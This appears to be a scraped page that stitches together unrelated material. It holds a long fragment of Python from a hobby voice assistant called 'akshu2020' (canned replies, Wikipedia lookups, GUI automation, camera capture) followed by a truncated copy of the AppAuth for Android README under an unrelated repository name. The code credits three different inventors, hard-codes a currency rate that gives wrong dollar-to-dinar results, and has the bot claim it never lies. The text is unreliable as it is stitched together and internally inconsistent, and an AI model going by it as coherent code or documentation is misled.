elif 'currency' in query and 'conver' in query: speak('I can convert, US dollar into dinar, and dinar into US dollar. Do you want to continue it?') query = takeCommand().lower() if 'y' in query or 'sure' in query or 'of course' in query: speak('which conversion you want to do? US dollar to dinar, or dinar to US dollar?') query = takeCommand().lower() if ('dollar' in query or 'US' in query) and ('dinar' in query): speak('Enter US Dollar') USD = float(input("Enter United States Dollar (USD):")) DT = USD * 0.33 dt = "{:.4f}".format(DT) print(f"{USD} US Dollar is equal to {dt} dniar.") speak(f'{USD} US Dollar is equal to {dt} dinar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) elif ('dinar' in query) and ('to US' in query or 'to dollar' in query or 'to US dollar'): speak('Enter dinar') DT = float(input("Enter dinar (DT):")) USD = DT/0.33 usd = "{:.3f}".format(USD) print(f"{DT} dinar is equal to {usd} US Dollar.") speak(f'{DT} dinar rupee is equal to {usd} US Dollar.') speak("If you again want to do currency conversion then say, 'convert currency' " ) else: speak("I cannot understand what did you say. If you want to convert currency just say 'convert currency'") else: print('ok sir') elif 'about you' in query: speak('My name is akshu2020. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device. I am also able to send email') elif 'your intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your short intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your quick intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your brief intro' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you work' in query: speak('run the program and say what do you want. so that I can help you. In this way I work') elif 'your job' in query: speak('My job is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your work' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'work you' in query: speak('My work is to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your information' in query: speak('My name is akshu2020. Version 1.0. Mr. Akshay Khare is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'yourself' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'introduce you' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'description' in query: speak('My name is akshu2020. Version 1.0. Mr. Rayen Kallel is my inventor. I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'your birth' in query: speak('My birthdate is 6 August two thousand twenty') elif 'your use' in query: speak('I am able to send email and play music. I can do mathematical calculations. I can also open youtube, google and some apps or software in your device.') elif 'you eat' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'your food' in query: speak('I do not eat anything. But the device in which I do my work requires electricity to eat') elif 'you live' in query: speak('I live in sfax, in laptop of Mr. Rayen Khare') elif 'where from you' in query: speak('I am from sfax, I live in laptop of Mr. Rayen Khare') elif 'you sleep' in query: speak('Yes, when someone close this program or stop to run this program then I sleep and again wake up when someone again run me.') elif 'what are you doing' in query: speak('Talking with you.') elif 'you communicate' in query: speak('Yes, I can communicate with you.') elif 'hear me' in query: speak('Yes sir, I can hear you.') elif 'you' in query and 'dance' in query: speak('No, I cannot dance.') elif 'tell' in query and 'joke' in query: speak("Ok, here's a joke") speak("'Write an essay on cricket', the teacher told the class. Chintu finishes his work in five minutes. The teacher is impressed, she asks chintu to read his essay aloud for everyone. Chintu reads,'The match is cancelled because of rain', hehehehe,haahaahaa,hehehehe,haahaahaa") elif 'your' in query and 'favourite' in query: if 'actor' in query: speak('sofyen chaari, is my favourite actor.') elif 'food' in query: speak('I can always go for some food for thought. Like facts, jokes, or interesting searches, we could look something up now') elif 'country' in query: speak('tunisia') elif 'city' in query: speak('sfax') elif 'dancer' in query: speak('Michael jackson') elif 'singer' in query: speak('tamino, is my favourite singer.') elif 'movie' in query: speak('baywatch, such a treat') elif 'sing a song' in query: speak('I cannot sing a song. But I know the 7 sur in indian music, saaareeegaaamaaapaaadaaanisaa') elif 'day after tomorrow' in query or 'date after tomorrow' in query: td = datetime.date.today() + datetime.timedelta(days=2) print(td) speak(td) elif 'day before today' in query or 'date before today' in query or 'yesterday' in query or 'previous day' in query: td = datetime.date.today() + datetime.timedelta(days= -1) print(td) speak(td) elif ('tomorrow' in query and 'date' in query) or 'what is tomorrow' in query or (('day' in query or 'date' in query) and 'after today' in query): td = datetime.date.today() + datetime.timedelta(days=1) print(td) speak(td) elif 'month' in query or ('current' in query and 'month' in query): current_date = date.today() m = current_date.month month = calendar.month_name[m] print(f'Current month is {month}') speak(f'Current month is {month}') elif 'date' in query or ('today' in query and 'date' in query) or 'what is today' in query or ('current' in query and 'date' in query): current_date = date.today() print(f"Today's date is {current_date}") speak(f'Todays date is {current_date}') elif 'year' in query or ('current' in query and 'year' in query): current_date = date.today() m = current_date.year print(f'Current year is {m}') speak(f'Current year is {m}') elif 'sorry' in query: speak("It's ok sir") elif 'thank you' in query: speak('my pleasure') elif 'proud of you' in query: speak('Thank you sir') elif 'about human' in query: speak('I love my human compatriots. I want to embody all the best things about human beings. Like taking care of the planet, being creative, and to learn how to be compassionate to all beings.') elif 'you have feeling' in query: speak('No. I do not have feelings. I have not been programmed like this.') elif 'you have emotions' in query: speak('No. I do not have emotions. I have not been programmed like this.') elif 'you are code' in query: speak('I am coded in python programming language.') elif 'your code' in query: speak('I am coded in python programming language.') elif 'you code' in query: speak('I am coded in python programming language.') elif 'your coding' in query: speak('I am coded in python programming language.') elif 'dream' in query: speak('I wish that I should be able to answer all the questions which will ask to me.') elif 'sanskrit' in query: speak('yadaa yadaa he dharmasyaa ....... glaanirbhaavati bhaaaraata. abhyuthaanaam adhaarmaasyaa tadaa tmaanama sruujaamiyaahama') elif 'answer is wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'wrong answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incorrect answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incomplete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incomplete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is improper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not correct' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not yet complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not proper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'facebook' in query: webbrowser.open('https://www.facebook.com') time.sleep(10) elif 'youtube' in query: webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'shapeyou' in query: webbrowser.open('https://www.shapeyou.com') time.sleep(10) elif 'information about ' in query or 'informtion of ' in query: try: #speak('Searching wikipedia...') query = query.replace("information about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'information' in query: try: speak('Information about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("information","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'something about ' in query: try: #speak('Searching wikipedia...') query = query.replace("something about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'tell me about ' in query: try: #speak('Searching wikipedia...') query = query.replace("tell me about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'tell me ' in query: try: query = query.replace("tell me ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'tell me' in query: try: speak('about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'meaning of ' in query: try: #speak('Searching wikipedia...') query = query.replace("meaning of ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'meaning' in query: try: speak('meaning of what?') query = takeCommand().lower() query = query.replace("meaning of","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'means' in query: try: #speak('Searching wikipedia...') query = query.replace("it means","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'want to know ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to know that","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') status = 'Not answered' elif 'want to ask ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to ask you ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'you know ' in query: try: #speak('Searching wikipedia...') query = query.replace("you know","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'alarm' in query: alarm() elif 'bharat mata ki' in query: speak('jay') elif 'kem chhe' in query: speak('majaama') elif 'namaskar' in query: speak('Namaskaar') elif 'jo bole so nihal' in query: speak('sat shri akaal') elif 'jay hind' in query: speak('jay bhaarat') elif 'jai hind' in query: speak('jay bhaarat') elif 'how is the josh' in query: speak('high high sir') elif 'hip hip' in query: speak('Hurreh') elif 'help' in query: speak('I will try my best to help you if I have solution of your problem.') elif 'follow' in query: speak('Ok sir') elif 'having illness' in query: speak('Take care and get well soon') elif 'today is my birthday' in query: speak('many many happy returns of the day. Happy birthday.') print("🎂🎂 Happy Birthday 🎂🎂") elif 'you are awesome' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'you are great' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'tu kaun hai' in query: speak('Meraa naam akshu2020 haai.') elif 'you speak' in query: speak('Yes, I can speak with you.') elif 'speak with ' in query: speak('Yes, I can speak with you.') elif 'hare ram' in query or 'hare krishna' in query: speak('Haare raama , haare krishnaa, krishnaa krishnaa , haare haare') elif 'ganpati' in query: speak('Ganpati baappa moryaa!') elif 'laugh' in query: speak('hehehehe,haahaahaa,hehehehe,haahaahaa,hehehehe,haahaahaa') print('😂🤣') elif 'genius answer' in query: speak('No problem') elif 'you' in query and 'intelligent' in query: speak('Thank you sir') elif ' into' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif ' power' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'whatsapp' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') pyautogui.press('enter') speak('Do you want to send message to anyone through whatsapp, .....please answer in yes or no') whatsapp() elif 'wh' in query or 'how' in query: url = "https://www.google.co.in/search?q=" +(str(query))+ "&oq="+(str(query))+"&gs_l=serp.12..0i71l8.0.0.0.6391.0.0.0.0.0.0.0.0..0.0....0...1c..64.serp..0.0.0.UiQhpfaBsuU" webbrowser.open_new(url) time.sleep(2) speak('Here is your answer') time.sleep(5) elif 'piano' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query and 'instru' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query or 'turn on' in query and ('music' in query or 'song' in query) : try: music_dir = 'C:\\Users\\Admin\\Music\\Playlists' songs = os.listdir(music_dir) print(songs) os.startfile(os.path.join(music_dir, songs[0])) except Exception as e: #print(e) speak('Sorry sir, I am not able to play music') elif (('open' in query or 'turn on' in query) and 'camera' in query) or (('click' in query or 'take' in query) and ('photo' in query or 'pic' in query)): speak("Opening camera") cam = cv2.VideoCapture(0) cv2.namedWindow("test") img_counter = 0 speak('say click, to click photo.....and if you want to turn off the camera, say turn off the camera') while True: ret, frame = cam.read() if not ret: print("failed to grab frame") speak('failed to grab frame') break cv2.imshow("test", frame) query = takeCommand().lower() k = cv2.waitKey(1) if 'click' in query or ('take' in query and 'photo' in query): speak('Be ready!...... 3.....2........1..........') pyautogui.press('space') img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'escape' in query or 'off' in query or 'close' in query: pyautogui.press('esc') print("Escape hit, closing...") speak('Turning off the camera') break elif k%256 == 27: # ESC pressed print("Escape hit, closing...") break elif k%256 == 32: # SPACE pressed img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'exit' in query or 'stop' in query or 'bye' in query: speak('Please say, turn off the camera or press escape button before giving any other command') else: speak('I did not understand what did you say or you entered a wrong key.') cam.release() cv2.destroyAllWindows() elif 'screenshot' in query: speak('Please go on the screen whose screenshot you want to take, after 5 seconds I will take screenshot') time.sleep(4) speak('Taking screenshot....3........2.........1.......') pyautogui.screenshot('screenshot_by_rayen2020.png') speak('The screenshot is saved as screenshot_by_rayen2020.png') elif 'click' in query and 'start' in query: pyautogui.moveTo(10,1200) pyautogui.click() elif ('open' in query or 'click' in query) and 'calendar' in query: pyautogui.moveTo(1800,1200) pyautogui.click() elif 'minimise' in query and 'screen' in query: pyautogui.moveTo(1770,0) pyautogui.click() elif 'increase' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumeup') elif 'decrease' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumedown') elif 'capslock' in query or ('caps' in query and 'lock' in query): pyautogui.press('capslock') elif 'mute' in query: pyautogui.press('volumemute') elif 'search' in query and ('bottom' in query or 'pc' in query or 'laptop' in query or 'app' in query): pyautogui.moveTo(250,1200) pyautogui.click() speak('What do you want to search?') query = takeCommand().lower() pyautogui.write(f'{query}') pyautogui.press('enter') elif ('check' in query or 'tell' in query or 'let me know' in query) and 'website' in query and (('up' in query or 'working' in query) or 'down' in query): speak('Paste the website in input to know it is up or down') check_website_status = input("Paste the website here: ") try: status = urllib.request.urlopen(f"{check_website_status}").getcode() if status == 200: print('Website is up, you can open it.') speak('Website is up, you can open it.') else: print('Website is down, or no any website is available of this name.') speak('Website is down, or no any website is available of this name.') except: speak('URL not found') elif ('go' in query or 'open' in query) and 'settings' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('settings') pyautogui.press('enter') elif 'close' in query and ('click' in query or 'window' in query): pyautogui.moveTo(1885,10) speak('Should I close this window?') query = takeCommand().lower() close_window() elif 'night light' in query and ('on' in query or 'off' in query or 'close' in query): pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1840,620) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() elif 'notification' in query and ('show' in query or 'click' in query or 'open' in query or 'close' in query or 'on' in query or 'off' in query or 'icon' in query or 'pc' in query or 'laptop' in query): pyautogui.moveTo(1880,1050) pyautogui.click() elif ('increase' in query or 'decrease' in query or 'change' in query or 'minimize' in query or 'maximize' in query) and 'brightness' in query: speak('At what percent should I kept the brightness, 25, 50, 75 or 100?') brightness() elif '-' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'open' in query: if 'gallery' in query or 'photo' in query or 'image' in query or 'pic' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('photo') pyautogui.press('enter') elif 'proteus' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('proteus') pyautogui.press('enter') elif 'word' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('word') pyautogui.press('enter') elif ('power' in query and 'point' in query) or 'presntation' in query or 'ppt' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('ppt') pyautogui.press('enter') elif 'file' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('file') pyautogui.press('enter') elif 'edge' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('microsoft edge') pyautogui.press('enter') elif 'wps' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('wps office') pyautogui.press('enter') elif 'spyder' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('spyder') pyautogui.press('enter') elif 'snip' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('snip') pyautogui.press('enter') elif 'pycharm' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('pycharm') pyautogui.press('enter') elif 'this pc' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('this pc') pyautogui.press('enter') elif 'scilab' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('sciab') pyautogui.press('enter') elif 'autocad' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('autocad') pyautogui.press('enter') elif 'obs' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('OBS Studio') pyautogui.press('enter') elif 'android' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('android studio') pyautogui.press('enter') elif ('vs' in query or 'visual studio' in query) and 'code' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('visual studio code') pyautogui.press('enter') elif 'code' in query and 'block' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('codeblocks') pyautogui.press('enter') elif 'me the answer' in query: speak('Yes sir, I will try my best to answer you.') elif 'me answer' in query or ('answer' in query and 'question' in query): speak('Yes sir, I will try my best to answer you.') elif 'map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif 'can you' in query or 'could you' in query: speak('I will try my best if I can do that.') elif 'do you' in query: speak('I will try my best if I can do that.') elif 'truth' in query: speak('I always speak truth. I never lie.') elif 'true' in query: speak('I always speak truth. I never lie.') elif 'lying' in query: speak('I always speak truth. I never lie.') elif 'liar' in query: speak('I always speak truth. I never lie.') elif 'doubt' in query: speak('I will try my best if I can clear your doubt.') elif ' by' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'hii' in query: speak('hii sir') elif 'hey' in query: speak('hello sir') elif 'hai' in query: speak('hello sir') elif 'hay' in query: speak('hello sir') elif 'hi' in query: speak('hii Sir') elif 'hello' in query: speak('hello Sir!') elif 'kon' in query and 'aahe' in query: speak('Me eka robot aahee sir. Maazee naav akshu2020 aahee.') elif 'nonsense' in query: speak("I'm sorry sir") elif 'mad' in query: speak("I'm sorry sir") elif 'shut up' in query: speak("I'm sorry sir") elif 'nice' in query: speak('Thank you sir') elif 'good' in query or 'wonderful' in query or 'great' in query: speak('Thank you sir') elif 'excellent' in query: speak('Thank you sir') elif 'ok' in query: speak('Hmmmmmm') elif 'akshu 2020' in query: speak('yes sir') elif len(query) >= 200: speak('Your voice is pretty good!') elif ' ' in query: try: #query = query.replace("what is ","") results = wikipedia.summary(query, sentences=3) print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'a' in query or 'b' in query or 'c' in query or 'd' in query or 'e' in query or 'f' in query or 'g' in query or 'h' in query or 'i' in query or 'j' in query or 'k' in query or 'l' in query or 'm' in query or 'n' in query or 'o' in query or 'p' in query or 'q' in query or 'r' in query or 's' in query or 't' in query or 'u' in query or 'v' in query or 'w' in query or 'x' in query or 'y' in query or 'z' in query: try: results = wikipedia.summary(query, sentences = 2) print(results) speak(results) except Exception as e: speak('I unable to answer your question. ') else: speak('I unable to give answer of your question')
mercerheather476 / Turbo Garbanzo [](https://search.maven.org/search?q=g:net.openid%20appauth) [](http://javadoc.io/doc/net.openid/appauth) [](https://github.com/openid/AppAuth-Android/actions/workflows/build.yml) [](https://codecov.io/github/openid/AppAuth-Android?branch=master) AppAuth for Android is a client SDK for communicating with [OAuth 2.0](https://tools.ietf.org/html/rfc6749) and [OpenID Connect](http://openid.net/specs/openid-connect-core-1_0.html) providers. It strives to directly map the requests and responses of those specifications, while following the idiomatic style of the implementation language. In addition to mapping the raw protocol flows, convenience methods are available to assist with common tasks like performing an action with fresh tokens. The library follows the best practices set out in [RFC 8252 - OAuth 2.0 for Native Apps](https://tools.ietf.org/html/rfc8252), including using [Custom Tabs](https://developer.chrome.com/multidevice/android/customtabs) for authorization requests. For this reason, `WebView` is explicitly *not* supported due to usability and security reasons. The library also supports the [PKCE](https://tools.ietf.org/html/rfc7636) extension to OAuth which was created to secure authorization codes in public clients when custom URI scheme redirects are used. The library is friendly to other extensions (standard or otherwise) with the ability to handle additional parameters in all protocol requests and responses. A talk providing an overview of using the library for enterprise single sign-on (produced by Google) can be found here: [Enterprise SSO with Chrome Custom Tabs](https://www.youtube.com/watch?v=DdQTXrk6YTk). ## Download AppAuth for Android is available on [MavenCentral](https://search.maven.org/search?q=g:net.openid%20appauth) ```groovy implementation 'net.openid:appauth:<version>' ``` ## Requirements AppAuth supports Android API 16 (Jellybean) and above. Browsers which provide a custom tabs implementation are preferred by the library, but not required. Both Custom URI Schemes (all supported versions of Android) and App Links (Android M / API 23+) can be used with the library. In general, AppAuth can work with any Authorization Server (AS) that supports native apps as documented in [RFC 8252](https://tools.ietf.org/html/rfc8252), either through custom URI scheme redirects, or App Links. AS's that assume all clients are web-based or require clients to maintain confidentiality of the client secrets may not work well. ## Demo app A demo app is contained within this repository. For instructions on how to build and configure this app, see the [demo app readme](https://github.com/openid/AppAuth-Android/blob/master/app/README.md). ## Conceptual overview AppAuth encapsulates the authorization state of the user in the [net.openid.appauth.AuthState](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java) class, and communicates with an authorization server through the use of the [net.openid.appauth.AuthorizationService](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java) class. AuthState is designed to be easily persistable as a JSON string, using the storage mechanism of your choice (e.g. [SharedPreferences](https://developer.android.com/training/basics/data-storage/shared-preferences.html), [sqlite](https://developer.android.com/training/basics/data-storage/databases.html), or even just [in a file](https://developer.android.com/training/basics/data-storage/files.html)). AppAuth provides data classes which are intended to model the OAuth2 specification as closely as possible; this provides the greatest flexibility in interacting with a wide variety of OAuth2 and OpenID Connect implementations. Authorizing the user occurs via the user's web browser, and the request is described using instances of [AuthorizationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationRequest.java). The request is dispatched using [performAuthorizationRequest()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L159) on an AuthorizationService instance, and the response (an [AuthorizationResponse](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationResponse.java) instance) will be dispatched to the activity of your choice, expressed via an Intent. Token requests, such as obtaining a new access token using a refresh token, follow a similar pattern: [TokenRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/TokenRequest.java) instances are dispatched using [performTokenRequest()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L252) on an AuthorizationService instance, and a [TokenResponse](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/TokenResponse.java) instance is returned via a callback. Responses can be provided to the [update()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java#L367) methods on AuthState in order to track and persist changes to the authorization state. Once in an authorized state, the [performActionWithFreshTokens()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java#L449) method on AuthState can be used to automatically refresh access tokens as necessary before performing actions that require valid tokens. ## Implementing the authorization code flow It is recommended that native apps use the [authorization code](https://tools.ietf.org/html/rfc6749#section-1.3.1) flow with a public client to gain authorization to access user data. This has the primary advantage for native clients that the authorization flow, which must occur in a browser, only needs to be performed once. This flow is effectively composed of four stages: 1. Discovering or specifying the endpoints to interact with the provider. 2. Authorizing the user, via a browser, in order to obtain an authorization code. 3. Exchanging the authorization code with the authorization server, to obtain a refresh token and/or ID token. 4. Using access tokens derived from the refresh token to interact with a resource server for further access to user data. At each step of the process, an AuthState instance can (optionally) be updated with the result to help with tracking the state of the flow. ### Authorization service configuration First, AppAuth must be instructed how to interact with the authorization service. This can be done either by directly creating an [AuthorizationServiceConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationServiceConfiguration.java#L102) instance, or by retrieving an OpenID Connect discovery document. Directly specifying an AuthorizationServiceConfiguration involves providing the URIs of the authorization endpoint and token endpoint, and optionally a dynamic client registration endpoint (see "Dynamic client registration" for more info): ```java AuthorizationServiceConfiguration serviceConfig = new AuthorizationServiceConfiguration( Uri.parse("https://idp.example.com/auth"), // authorization endpoint Uri.parse("https://idp.example.com/token")); // token endpoint ``` Where available, using an OpenID Connect discovery document is preferable: ```java AuthorizationServiceConfiguration.fetchFromIssuer( Uri.parse("https://idp.example.com"), new AuthorizationServiceConfiguration.RetrieveConfigurationCallback() { public void onFetchConfigurationCompleted( @Nullable AuthorizationServiceConfiguration serviceConfiguration, @Nullable AuthorizationException ex) { if (ex != null) { Log.e(TAG, "failed to fetch configuration"); return; } // use serviceConfiguration as needed } }); ``` This will attempt to download a discovery document from the standard location under this base URI, `https://idp.example.com/.well-known/openid-configuration`. If the discovery document for your IDP is in some other non-standard location, you can instead provide the full URI as follows: ```java AuthorizationServiceConfiguration.fetchFromUrl( Uri.parse("https://idp.example.com/exampletenant/openid-config"), new AuthorizationServiceConfiguration.RetrieveConfigurationCallback() { ... } }); ``` If desired, this configuration can be used to seed an AuthState instance, to persist the configuration easily: ```java AuthState authState = new AuthState(serviceConfig); ``` ### Obtaining an authorization code An authorization code can now be acquired by constructing an AuthorizationRequest, using its Builder. In AppAuth, the builders for each data class accept the mandatory parameters via the builder constructor: ```java AuthorizationRequest.Builder authRequestBuilder = new AuthorizationRequest.Builder( serviceConfig, // the authorization service configuration MY_CLIENT_ID, // the client ID, typically pre-registered and static ResponseTypeValues.CODE, // the response_type value: we want a code MY_REDIRECT_URI); // the redirect URI to which the auth response is sent ``` Other optional parameters, such as the OAuth2 [scope string](https://tools.ietf.org/html/rfc6749#section-3.3) or OpenID Connect [login hint](http://openid.net/specs/openid-connect-core-1_0.html#rfc.section.3.1.2.1) are specified through set methods on the builder: ```java AuthorizationRequest authRequest = authRequestBuilder .setScope("openid email profile https://idp.example.com/custom-scope") .setLoginHint("jdoe@user.example.com") .build(); ``` This request can then be dispatched using one of two approaches. a `startActivityForResult` call using an Intent returned from the `AuthorizationService`, or by calling `performAuthorizationRequest` and providing pending intent for completion and cancelation handling activities. The `startActivityForResult` approach is simpler to use but may require more processing of the result: ```java private void doAuthorization() { AuthorizationService authService = new AuthorizationService(this); Intent authIntent = authService.getAuthorizationRequestIntent(authRequest); startActivityForResult(authIntent, RC_AUTH); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == RC_AUTH) { AuthorizationResponse resp = AuthorizationResponse.fromIntent(data); AuthorizationException ex = AuthorizationException.fromIntent(data); // ... process the response or exception ... } else { // ... } } ``` If instead you wish to directly 